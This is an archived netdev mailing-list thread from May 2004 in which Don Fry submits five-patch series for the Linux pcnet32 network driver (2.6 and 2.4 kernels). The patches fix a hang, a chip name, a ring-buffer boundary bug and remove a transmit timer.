ICQ: 279852819 linux user number: 307850 GPG ID: 5F88735E GPG FP: 0F01 BAB8 3148 94DB B95D 1FCA 8B63 CA06 5F88 735E From brazilnut@us.ibm.com Fri May 21 13:32:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 13:32:23 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LKWBKO022758 for ; Fri, 21 May 2004 13:32:17 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LKVxfQ266574; Fri, 21 May 2004 16:31:59 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LKWYwO092044; Fri, 21 May 2004 16:32:35 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKQcP10151; Fri, 21 May 2004 13:26:38 -0700 From: Don Fry Message-Id: <200405212026.i4LKQcP10151@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 0/5] 2.6.6-bk8 pcnet32.c To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:26:38 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5208 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Please apply the following patches to 2.6.6. The first four are simple "one line" fixes. The last removes the timer I added a little while ago, as it added complexity without improving performance. [PATCH 1/5] 2.6.6-bk8 pcnet32 add static to two routines. [PATCH 2/5] 2.6.6-bk8 pcnet32 avoid hard hang with some chip variants. [PATCH 3/5] 2.6.6-bk8 pcnet32 correct 79C976 variant string. [PATCH 4/5] 2.6.6-bk8 pcnet32 fix boundary comparison bug. [PATCH 5/5] 2.6.6-bk8 pcnet32 remove timer and complexity. -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 13:33:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 13:33:09 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LKX4KO022900 for ; Fri, 21 May 2004 13:33:05 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i4LKWvcs421420; Fri, 21 May 2004 16:32:57 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LKXY5P052840; Fri, 21 May 2004 16:33:34 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKRbl10163; Fri, 21 May 2004 13:27:37 -0700 From: Don Fry Message-Id: <200405212027.i4LKRbl10163@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 1/5] 2.6.6-bk8 pcnet32 add static to two routines. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:27:37 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5209 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch adds 'static' to two routines. The prototype has static but the instantiation did not. --- linux-2.6.6-bk8/drivers/net/orig.pcnet32.c Fri May 21 09:48:29 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Fri May 21 09:56:41 2004 @@ -844,12 +844,12 @@ return 0; } -int pcnet32_get_regs_len(struct net_device *dev) +static int pcnet32_get_regs_len(struct net_device *dev) { return(PCNET32_NUM_REGS * sizeof(u16)); } -void pcnet32_get_regs(struct net_device *dev, struct ethtool_regs *regs, +static void pcnet32_get_regs(struct net_device *dev, struct ethtool_regs *regs, void *ptr) { int i, csr0; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 13:33:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 13:33:59 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LKXuKO023166 for ; Fri, 21 May 2004 13:33:56 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LKXnfQ566774; Fri, 21 May 2004 16:33:49 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LKYPwO110006; Fri, 21 May 2004 16:34:25 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKST210174; Fri, 21 May 2004 13:28:29 -0700 From: Don Fry Message-Id: <200405212028.i4LKST210174@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2/5] 2.6.6-bk8 pcnet32 avoid hard hang with some chip variants. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:28:29 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5210 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch fixes a hard hang with 79C975 and 79C976 chip variants when dumping BCR register #34. --- linux-2.6.6-bk8/drivers/net/static.pcnet32.c Fri May 21 09:56:41 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Fri May 21 09:58:11 2004 @@ -895,7 +895,7 @@ *buff++ = a->read_csr(ioaddr, 114); for (i = 0; i <= 35; i++) { - *buff++ = a->read_bcr(ioaddr, i); + *buff++ = (i == 34) ? 0xdead : a->read_bcr(ioaddr, i); } if (!(csr0 & 0x0004)) { /* If not stopped */ -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 13:34:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 13:35:00 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LKYuKO023670 for ; Fri, 21 May 2004 13:34:56 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LKYmYm611070; Fri, 21 May 2004 16:34:48 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LKYlIO362730; Fri, 21 May 2004 14:34:47 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKTTM10187; Fri, 21 May 2004 13:29:29 -0700 From: Don Fry Message-Id: <200405212029.i4LKTTM10187@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 3/5] 2.6.6-bk8 pcnet32 correct 79C976 variant string. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:29:29 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5211 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch correctly identifies the 79C976 as a PCnet/PRO not a FAST III. --- linux-2.6.6-bk8/drivers/net/dead.pcnet32.c Fri May 21 09:58:58 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Fri May 21 09:59:18 2004 @@ -1082,7 +1082,7 @@ fdx = 1; mii = 1; break; case 0x2628: - chipname = "PCnet/FAST III 79C976"; + chipname = "PCnet/PRO 79C976"; fdx = 1; mii = 1; break; default: -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 13:36:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 13:36:33 -0700 (PDT) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LKaTKO024062 for ; Fri, 21 May 2004 13:36:30 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LKaMhL079122; Fri, 21 May 2004 16:36:22 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LKax5P107820; Fri, 21 May 2004 16:36:59 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKV2g10201; Fri, 21 May 2004 13:31:02 -0700 From: Don Fry Message-Id: <200405212031.i4LKV2g10201@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 4/5] 2.6.6-bk8 pcnet32 fix boundary comparison bug. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:31:02 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5212 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch fixes a boundary condition. It is possible to get an interrupt and have the transmit queue completely full. Without this the driver will leak skb's and pci maps (if the arch supports them). --- linux-2.6.6-bk8/drivers/net/pro.pcnet32.c Fri May 21 09:59:18 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Fri May 21 10:00:10 2004 @@ -1833,7 +1833,7 @@ } delta = (lp->cur_tx - dirty_tx) & (TX_RING_MOD_MASK + TX_RING_SIZE); - if (delta >= TX_RING_SIZE) { + if (delta > TX_RING_SIZE) { if (netif_msg_drv(lp)) printk(KERN_ERR "%s: out-of-sync dirty pointer, %d vs. %d, full=%d.\n", dev->name, dirty_tx, lp->cur_tx, lp->tx_full); -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 13:40:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 13:40:13 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LKe7KO024412 for ; Fri, 21 May 2004 13:40:08 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LKdupj261646; Fri, 21 May 2004 16:39:56 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LKdnIO337704; Fri, 21 May 2004 14:39:50 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKYV510215; Fri, 21 May 2004 13:34:31 -0700 From: Don Fry Message-Id: <200405212034.i4LKYV510215@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 5/5] 2.6.6-bk8 pcnet32 remove timer and complexity. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:34:31 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5213 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This removes the timer I recently added, and the 'ltint' interrupt mitigation from the 79C971 and 79C972. It did not improve performance, added complexity, and was a bad idea in hind sight. --- linux-2.6.6-bk5/drivers/net/static.pcnet32.c Tue May 18 10:35:20 2004 +++ linux-2.6.6-bk5/drivers/net/pcnet32.c Tue May 18 10:34:33 2004 @@ -22,8 +22,8 @@ *************************************************************************/ #define DRV_NAME "pcnet32" -#define DRV_VERSION "1.29" -#define DRV_RELDATE "04.06.2004" +#define DRV_VERSION "1.30" +#define DRV_RELDATE "05.18.2004" #define PFX DRV_NAME ": " static const char *version = @@ -239,6 +239,8 @@ * identification code (blink led's) and register dump. * Don Fry added timer for 971/972 so skbufs don't remain on tx ring * forever. + * v1.30 18 May 2004 Don Fry removed timer and Last Transmit Interrupt + * (ltint) as they added complexity and didn't give good throughput. */ @@ -343,7 +345,6 @@ char tx_full; int options; int shared_irq:1, /* shared irq possible */ - ltint:1, /* enable TxDone-intr inhibitor */ dxsuflo:1, /* disable transmit stop on uflo */ mii:1; /* mii port available */ struct net_device *next; @@ -999,7 +1000,7 @@ struct pcnet32_private *lp; dma_addr_t lp_dma_addr; int i, media; - int fdx, mii, fset, dxsuflo, ltint; + int fdx, mii, fset, dxsuflo; int chip_version; char *chipname; struct net_device *dev; @@ -1031,7 +1032,7 @@ } /* initialize variables */ - fdx = mii = fset = dxsuflo = ltint = 0; + fdx = mii = fset = dxsuflo = 0; chip_version = (chip_version >> 12) & 0xffff; switch (chip_version) { @@ -1051,7 +1052,6 @@ case 0x2623: chipname = "PCnet/FAST 79C971"; /* PCI */ fdx = 1; mii = 1; fset = 1; - ltint = 1; break; case 0x2624: chipname = "PCnet/FAST+ 79C972"; /* PCI */ @@ -1104,14 +1104,6 @@ a->write_bcr(ioaddr, 18, (a->read_bcr(ioaddr, 18) | 0x0860)); a->write_csr(ioaddr, 80, (a->read_csr(ioaddr, 80) & 0x0C00) | 0x0c00); dxsuflo = 1; - ltint = 1; - } - - if (ltint) { - /* Enable timer to prevent skbuffs from remaining on the tx ring - * forever if no other tx being done. Set timer period to about - * 122 ms */ - a->write_bcr(ioaddr, 31, 0x253b); } dev = alloc_etherdev(0); @@ -1218,7 +1210,6 @@ lp->mii_if.phy_id_mask = 0x1f; lp->mii_if.reg_num_mask = 0x1f; lp->dxsuflo = dxsuflo; - lp->ltint = ltint; lp->mii = mii; lp->msg_enable = pcnet32_debug; if ((cards_found >= MAX_UNITS) || (options[cards_found] > sizeof(options_mapping))) @@ -1437,12 +1428,6 @@ } #endif - if (lp->ltint) { /* Enable TxDone-intr inhibitor */ - val = lp->a.read_csr (ioaddr, 5); - val |= (1<<14); - lp->a.write_csr (ioaddr, 5, val); - } - lp->init_block.mode = le16_to_cpu((lp->options & PCNET32_PORT_PORTSEL) << 7); pcnet32_load_multicast(dev); @@ -1460,11 +1445,6 @@ lp->a.write_csr (ioaddr, 4, 0x0915); lp->a.write_csr (ioaddr, 0, 0x0001); - if (lp->ltint) { - /* start the software timer */ - lp->a.write_csr(ioaddr, 7, 0x0400); /* set STINTE */ - } - netif_start_queue(dev); /* If we have mii, print the link status and start the watchdog */ @@ -1677,19 +1657,6 @@ * interrupt when that option is available to us. */ status = 0x8300; - entry = (lp->cur_tx - lp->dirty_tx) & TX_RING_MOD_MASK; - if ((lp->ltint) && - ((entry == TX_RING_SIZE/3) || - (entry == (TX_RING_SIZE*2)/3) || - (entry >= TX_RING_SIZE-2))) - { - /* Enable Successful-TxDone interrupt if we have - * 1/3, 2/3 or nearly all of, our ring buffer Tx'd - * but not yet cleaned up. Thus, most of the time, - * we will not enable Successful-TxDone interrupts. - */ - status = 0x9300; - } /* Fill in a Tx ring entry */ @@ -1733,7 +1700,7 @@ struct net_device *dev = dev_id; struct pcnet32_private *lp; unsigned long ioaddr; - u16 csr0, csr7, rap; + u16 csr0,rap; int boguscnt = max_interrupt_work; int must_restart; @@ -1750,19 +1717,13 @@ spin_lock(&lp->lock); rap = lp->a.read_rap(ioaddr); - csr0 = lp->a.read_csr (ioaddr, 0); - csr7 = lp->ltint ? lp->a.read_csr(ioaddr, 7) : 0; - - while ((csr0 & 0x8600 || csr7 & 0x0800) && --boguscnt >= 0) { + while ((csr0 = lp->a.read_csr (ioaddr, 0)) & 0x8600 && --boguscnt >= 0) { if (csr0 == 0xffff) { break; /* PCMCIA remove happened */ } /* Acknowledge all of the current interrupt sources ASAP. */ lp->a.write_csr (ioaddr, 0, csr0 & ~0x004f); - if (csr7 & 0x0800) - lp->a.write_csr(ioaddr, 7, csr7); - must_restart = 0; if (netif_msg_intr(lp)) @@ -1772,7 +1733,7 @@ if (csr0 & 0x0400) /* Rx interrupt */ pcnet32_rx(dev); - if (csr0 & 0x0200 || csr7 & 0x0800) { /* Tx-done or Timer interrupt */ + if (csr0 & 0x0200) { /* Tx-done interrupt */ unsigned int dirty_tx = lp->dirty_tx; int delta; @@ -1879,9 +1840,6 @@ lp->a.write_csr (ioaddr, 0, 0x0004); pcnet32_restart(dev, 0x0002); } - - csr0 = lp->a.read_csr (ioaddr, 0); - csr7 = lp->ltint ? lp->a.read_csr(ioaddr, 7) : 0; } /* Clear any other interrupt, and set interrupt enable. */ @@ -2032,10 +1990,6 @@ /* We stop the PCNET32 here -- it occasionally polls memory if we don't. */ lp->a.write_csr (ioaddr, 0, 0x0004); - if (lp->ltint) { /* Disable timer interrupts */ - lp->a.write_csr(ioaddr, 7, 0x0000); - } - /* * Switch back to 16bit mode to avoid problems with dumb * DOS packet driver after a warm reboot -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 14:02:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:02:15 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LL2CKO025015 for ; Fri, 21 May 2004 14:02:13 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LL2357517152; Fri, 21 May 2004 17:02:03 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LL22IO378388; Fri, 21 May 2004 15:02:02 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKuhB10255; Fri, 21 May 2004 13:56:43 -0700 From: Don Fry Message-Id: <200405212056.i4LKuhB10255@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 1/5] 2.4.27-pre3 pcnet32 add static to two routines. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:56:43 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5215 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch adds 'static' to two routines. The prototype has static but the instantiation did not. --- linux-2.4.27-pre3/drivers/net/orig.pcnet32.c Fri May 21 12:34:04 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Fri May 21 12:36:44 2004 @@ -844,12 +844,12 @@ return 0; } -int pcnet32_get_regs_len(struct net_device *dev) +static int pcnet32_get_regs_len(struct net_device *dev) { return(PCNET32_NUM_REGS * sizeof(u16)); } -void pcnet32_get_regs(struct net_device *dev, struct ethtool_regs *regs, +static void pcnet32_get_regs(struct net_device *dev, struct ethtool_regs *regs, void *ptr) { int i, csr0; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 14:01:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:01:37 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LL1SKO024923 for ; Fri, 21 May 2004 14:01:34 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LL1JfQ128070; Fri, 21 May 2004 17:01:19 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LL1u5P091272; Fri, 21 May 2004 17:01:56 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKtx110244; Fri, 21 May 2004 13:55:59 -0700 From: Don Fry Message-Id: <200405212055.i4LKtx110244@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 0/5] 2.4.27-pre3 pcnet32.c To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:55:59 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5214 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Please apply the following patches to 2.4.27-pre3. The first four are simple "one line" fixes. The last removes the timer I added a little while ago, as it added complexity without improving performance. [PATCH 1/5] 2.4.27-pre3 pcnet32 add static to two routines. [PATCH 2/5] 2.4.27-pre3 pcnet32 avoid hard hang with some chip variants. [PATCH 3/5] 2.4.27-pre3 pcnet32 correct 79C976 variant string. [PATCH 4/5] 2.4.27-pre3 pcnet32 fix boundary comparison bug. [PATCH 5/5] 2.4.27-pre3 pcnet32 remove timer and complexity. -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 14:02:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:02:51 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LL2lKO025254 for ; Fri, 21 May 2004 14:02:47 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LL2eYm444268; Fri, 21 May 2004 17:02:40 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LL2dsr148876; Fri, 21 May 2004 15:02:39 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKvK210266; Fri, 21 May 2004 13:57:20 -0700 From: Don Fry Message-Id: <200405212057.i4LKvK210266@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2/5] 2.4.27-pre3 pcnet32 avoid hard hang with some chip variants. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:57:20 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5216 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch fixes a hard hang with 79C975 and 79C976 chip variants when dumping BCR register #34. --- linux-2.4.27-pre3/drivers/net/static.pcnet32.c Fri May 21 12:36:44 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Fri May 21 12:36:56 2004 @@ -895,7 +895,7 @@ *buff++ = a->read_csr(ioaddr, 114); for (i = 0; i <= 35; i++) { - *buff++ = a->read_bcr(ioaddr, i); + *buff++ = (i == 34) ? 0xdead : a->read_bcr(ioaddr, i); } if (!(csr0 & 0x0004)) { /* If not stopped */ -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 14:03:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:03:37 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LL3XKO025751 for ; Fri, 21 May 2004 14:03:33 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LL3OYd722240; Fri, 21 May 2004 17:03:24 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LL415P109054; Fri, 21 May 2004 17:04:02 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKw0Q10277; Fri, 21 May 2004 13:58:00 -0700 From: Don Fry Message-Id: <200405212058.i4LKw0Q10277@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 3/5] 2.4.27-pre3 pcnet32 correct 79C976 variant string. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:58:00 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5217 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch correctly identifies the 79C976 as a PCnet/PRO not a FAST III. --- linux-2.4.27-pre3/drivers/net/dead.pcnet32.c Fri May 21 12:36:56 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Fri May 21 12:37:05 2004 @@ -1081,7 +1081,7 @@ fdx = 1; mii = 1; break; case 0x2628: - chipname = "PCnet/FAST III 79C976"; + chipname = "PCnet/PRO 79C976"; fdx = 1; mii = 1; break; default: -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 14:03:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:04:01 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LL3wKO025965 for ; Fri, 21 May 2004 14:03:58 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4LL3pTW092398; Fri, 21 May 2004 17:03:51 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4LL4S5P118210; Fri, 21 May 2004 17:04:28 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4LKwVI10288; Fri, 21 May 2004 13:58:31 -0700 From: Don Fry Message-Id: <200405212058.i4LKwVI10288@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 4/5] 2.4.27-pre3 pcnet32 fix boundary comparison bug. To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 21 May 2004 13:58:31 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5218 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch fixes a boundary condition. It is possible to get an interrupt and have the transmit queue completely full. Without this the driver will leak skb's and pci maps (if the arch supports them). --- linux-2.4.27-pre3/drivers/net/pro.pcnet32.c Fri May 21 12:37:05 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Fri May 21 12:37:14 2004 @@ -1832,7 +1832,7 @@ } delta = (lp->cur_tx - dirty_tx) & (TX_RING_MOD_MASK + TX_RING_SIZE); - if (delta >= TX_RING_SIZE) { + if (delta > TX_RING_SIZE) { if (netif_msg_drv(lp)) printk(KERN_ERR "%s: out-of-sync dirty pointer, %d vs. %d, full=%d.\n", dev->name, dirty_tx, lp->cur_tx, lp->tx_full); -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri May 21 14:04:32 